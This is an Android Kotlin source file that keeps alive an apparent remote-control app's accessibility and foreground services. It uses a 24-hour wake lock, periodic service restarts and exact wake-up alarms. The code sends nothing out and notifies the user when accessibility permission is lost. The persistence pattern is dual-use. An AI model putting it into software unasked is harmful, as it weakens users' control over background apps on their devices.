371 lines
13 KiB
Kotlin
371 lines
13 KiB
Kotlin
|
|
package com.hikoncont.service
|
|||
|
|
|
|||
|
|
import android.app.AlarmManager
|
|||
|
|
import android.app.NotificationChannel
|
|||
|
|
import android.app.NotificationManager
|
|||
|
|
import android.app.PendingIntent
|
|||
|
|
import android.content.BroadcastReceiver
|
|||
|
|
import android.content.Context
|
|||
|
|
import android.content.Intent
|
|||
|
|
import android.content.IntentFilter
|
|||
|
|
import android.os.PowerManager
|
|||
|
|
import android.util.Log
|
|||
|
|
import androidx.core.app.NotificationCompat
|
|||
|
|
import kotlinx.coroutines.*
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 后台保活管理器
|
|||
|
|
* 专注于后台服务保活,不拉起MainActivity
|
|||
|
|
*/
|
|||
|
|
class BackgroundKeepAliveManager(private val context: Context) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "BackgroundKeepAlive"
|
|||
|
|
private const val CHECK_INTERVAL = 10000L // 30秒检查一次
|
|||
|
|
private const val RESTART_DELAY = 5000L // 5秒后重启
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
|||
|
|
private var monitorJob: Job? = null
|
|||
|
|
private var wakeLock: PowerManager.WakeLock? = null
|
|||
|
|
private var isMonitoring = false
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 开始后台保活监控
|
|||
|
|
*/
|
|||
|
|
fun startBackgroundKeepAlive() {
|
|||
|
|
if (isMonitoring) {
|
|||
|
|
Log.w(TAG, "⚠️ 后台保活监控已在运行")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.i(TAG, "🛡️ 开始后台保活监控")
|
|||
|
|
isMonitoring = true
|
|||
|
|
|
|||
|
|
// 获取WakeLock
|
|||
|
|
acquireWakeLock()
|
|||
|
|
|
|||
|
|
// 注册广播接收器
|
|||
|
|
registerReceivers()
|
|||
|
|
|
|||
|
|
// 开始监控
|
|||
|
|
startMonitoring()
|
|||
|
|
|
|||
|
|
// 确保前台服务运行
|
|||
|
|
ensureForegroundService()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 停止后台保活监控
|
|||
|
|
*/
|
|||
|
|
fun stopBackgroundKeepAlive() {
|
|||
|
|
if (!isMonitoring) {
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.i(TAG, "🛑 停止后台保活监控")
|
|||
|
|
isMonitoring = false
|
|||
|
|
|
|||
|
|
// 取消监控任务
|
|||
|
|
monitorJob?.cancel()
|
|||
|
|
|
|||
|
|
// 释放WakeLock
|
|||
|
|
releaseWakeLock()
|
|||
|
|
|
|||
|
|
// 注销广播接收器
|
|||
|
|
unregisterReceivers()
|
|||
|
|
|
|||
|
|
// 取消协程作用域
|
|||
|
|
managerScope.cancel()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 获取WakeLock保活
|
|||
|
|
*/
|
|||
|
|
private fun acquireWakeLock() {
|
|||
|
|
try {
|
|||
|
|
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
|||
|
|
wakeLock = powerManager.newWakeLock(
|
|||
|
|
PowerManager.PARTIAL_WAKE_LOCK,
|
|||
|
|
"RemoteControl::BackgroundKeepAlive"
|
|||
|
|
)
|
|||
|
|
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
|
|||
|
|
Log.i(TAG, "🔋 后台保活WakeLock已获取")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 获取后台保活WakeLock失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 释放WakeLock
|
|||
|
|
*/
|
|||
|
|
private fun releaseWakeLock() {
|
|||
|
|
try {
|
|||
|
|
wakeLock?.release()
|
|||
|
|
wakeLock = null
|
|||
|
|
Log.i(TAG, "🔋 后台保活WakeLock已释放")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 释放后台保活WakeLock失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 注册广播接收器
|
|||
|
|
*/
|
|||
|
|
private fun registerReceivers() {
|
|||
|
|
try {
|
|||
|
|
val filter = IntentFilter().apply {
|
|||
|
|
addAction(Intent.ACTION_SCREEN_ON)
|
|||
|
|
addAction(Intent.ACTION_SCREEN_OFF)
|
|||
|
|
addAction(Intent.ACTION_USER_PRESENT)
|
|||
|
|
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
|
|||
|
|
}
|
|||
|
|
context.registerReceiver(backgroundReceiver, filter)
|
|||
|
|
Log.i(TAG, "📡 后台保活广播接收器已注册")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 注销广播接收器
|
|||
|
|
*/
|
|||
|
|
private fun unregisterReceivers() {
|
|||
|
|
try {
|
|||
|
|
context.unregisterReceiver(backgroundReceiver)
|
|||
|
|
Log.i(TAG, "📡 后台保活广播接收器已注销")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 注销后台保活广播接收器失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 开始监控
|
|||
|
|
*/
|
|||
|
|
private fun startMonitoring() {
|
|||
|
|
monitorJob = managerScope.launch {
|
|||
|
|
while (isActive && isMonitoring) {
|
|||
|
|
try {
|
|||
|
|
checkAndRestartServices()
|
|||
|
|
delay(CHECK_INTERVAL)
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 后台保活监控过程中发生错误", e)
|
|||
|
|
delay(CHECK_INTERVAL)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查并重启服务
|
|||
|
|
*/
|
|||
|
|
private fun checkAndRestartServices() {
|
|||
|
|
try {
|
|||
|
|
val accessibilityService = AccessibilityRemoteService.getInstance()
|
|||
|
|
|
|||
|
|
if (accessibilityService == null) {
|
|||
|
|
Log.w(TAG, "⚠️ 检测到AccessibilityService不可用")
|
|||
|
|
|
|||
|
|
// 检查无障碍服务权限
|
|||
|
|
if (!isAccessibilityServiceEnabled()) {
|
|||
|
|
Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
|
|||
|
|
handleAccessibilityPermissionLost()
|
|||
|
|
} else {
|
|||
|
|
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
|||
|
|
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 检查前台服务
|
|||
|
|
ensureForegroundService()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查服务状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
if (accessibilityEnabled == 1) {
|
|||
|
|
val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
enabledServices?.contains(serviceId) == true
|
|||
|
|
} else {
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 处理无障碍权限丢失(正确方案:提醒用户重新启用)
|
|||
|
|
*/
|
|||
|
|
private fun handleAccessibilityPermissionLost() {
|
|||
|
|
try {
|
|||
|
|
Log.w(TAG, "⚠️ 无障碍服务权限丢失,需要用户手动重新启用")
|
|||
|
|
|
|||
|
|
// 记录到操作日志
|
|||
|
|
val service = AccessibilityRemoteService.getInstance()
|
|||
|
|
service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf(
|
|||
|
|
"timestamp" to System.currentTimeMillis(),
|
|||
|
|
"backgroundKeepAlive" to true
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
// 无障碍服务被杀死后无法自动重启,需要用户手动重新启用
|
|||
|
|
// 通过通知或UI提醒用户
|
|||
|
|
showAccessibilityPermissionLostNotification()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 显示无障碍权限丢失通知
|
|||
|
|
*/
|
|||
|
|
private fun showAccessibilityPermissionLostNotification() {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "📱 显示无障碍权限丢失通知")
|
|||
|
|
|
|||
|
|
// 创建通知渠道
|
|||
|
|
val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
|||
|
|
val channelId = "accessibility_permission_lost"
|
|||
|
|
val channel = NotificationChannel(
|
|||
|
|
channelId,
|
|||
|
|
"无障碍权限提醒",
|
|||
|
|
NotificationManager.IMPORTANCE_HIGH
|
|||
|
|
).apply {
|
|||
|
|
description = "当无障碍服务权限丢失时提醒用户"
|
|||
|
|
enableLights(true)
|
|||
|
|
lightColor = android.graphics.Color.RED
|
|||
|
|
enableVibration(true)
|
|||
|
|
}
|
|||
|
|
notificationManager.createNotificationChannel(channel)
|
|||
|
|
|
|||
|
|
// 创建通知
|
|||
|
|
val notification = NotificationCompat.Builder(context, channelId)
|
|||
|
|
.setContentTitle("⚠️ 无障碍服务权限丢失")
|
|||
|
|
.setContentText("请点击重新启用无障碍服务权限")
|
|||
|
|
.setSmallIcon(android.R.drawable.ic_dialog_alert)
|
|||
|
|
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
|||
|
|
.setAutoCancel(true)
|
|||
|
|
.setOngoing(false)
|
|||
|
|
.setContentIntent(createAccessibilitySettingsPendingIntent())
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
notificationManager.notify(9999, notification)
|
|||
|
|
Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 创建无障碍设置页面的PendingIntent
|
|||
|
|
*/
|
|||
|
|
private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
|
|||
|
|
val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
|
|||
|
|
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
|||
|
|
return PendingIntent.getActivity(
|
|||
|
|
context,
|
|||
|
|
9999,
|
|||
|
|
intent,
|
|||
|
|
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
|||
|
|
)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 确保前台服务运行
|
|||
|
|
*/
|
|||
|
|
private fun ensureForegroundService() {
|
|||
|
|
try {
|
|||
|
|
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
|
|||
|
|
serviceIntent.action = "ENSURE_FOREGROUND"
|
|||
|
|
context.startForegroundService(serviceIntent)
|
|||
|
|
Log.d(TAG, "✅ 已确保前台服务运行")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 确保前台服务运行失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 安排服务自恢复
|
|||
|
|
*/
|
|||
|
|
private fun scheduleServiceRestart() {
|
|||
|
|
try {
|
|||
|
|
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
|
|||
|
|
|
|||
|
|
val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
|
|||
|
|
action = "RESTART_SERVICE"
|
|||
|
|
}
|
|||
|
|
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
|
|||
|
|
|
|||
|
|
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
|
|||
|
|
|
|||
|
|
val foregroundPI = PendingIntent.getForegroundService(
|
|||
|
|
context,
|
|||
|
|
2001,
|
|||
|
|
foregroundIntent,
|
|||
|
|
pendingFlags
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
val keepAlivePI = PendingIntent.getService(
|
|||
|
|
context,
|
|||
|
|
2002,
|
|||
|
|
keepAliveIntent,
|
|||
|
|
pendingFlags
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
val triggerAt = System.currentTimeMillis() + RESTART_DELAY
|
|||
|
|
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI)
|
|||
|
|
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "⏰ 已安排服务自恢复")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 安排服务自恢复失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 后台保活广播接收器
|
|||
|
|
*/
|
|||
|
|
private val backgroundReceiver = object : BroadcastReceiver() {
|
|||
|
|
override fun onReceive(context: Context, intent: Intent) {
|
|||
|
|
when (intent.action) {
|
|||
|
|
Intent.ACTION_SCREEN_ON -> {
|
|||
|
|
Log.d(TAG, "📱 屏幕点亮,检查服务状态")
|
|||
|
|
checkAndRestartServices()
|
|||
|
|
}
|
|||
|
|
Intent.ACTION_SCREEN_OFF -> {
|
|||
|
|
Log.d(TAG, "📱 屏幕熄灭,继续后台保活")
|
|||
|
|
}
|
|||
|
|
Intent.ACTION_USER_PRESENT -> {
|
|||
|
|
Log.d(TAG, "👤 用户解锁,检查服务状态")
|
|||
|
|
checkAndRestartServices()
|
|||
|
|
}
|
|||
|
|
"android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
|
|||
|
|
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
|||
|
|
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|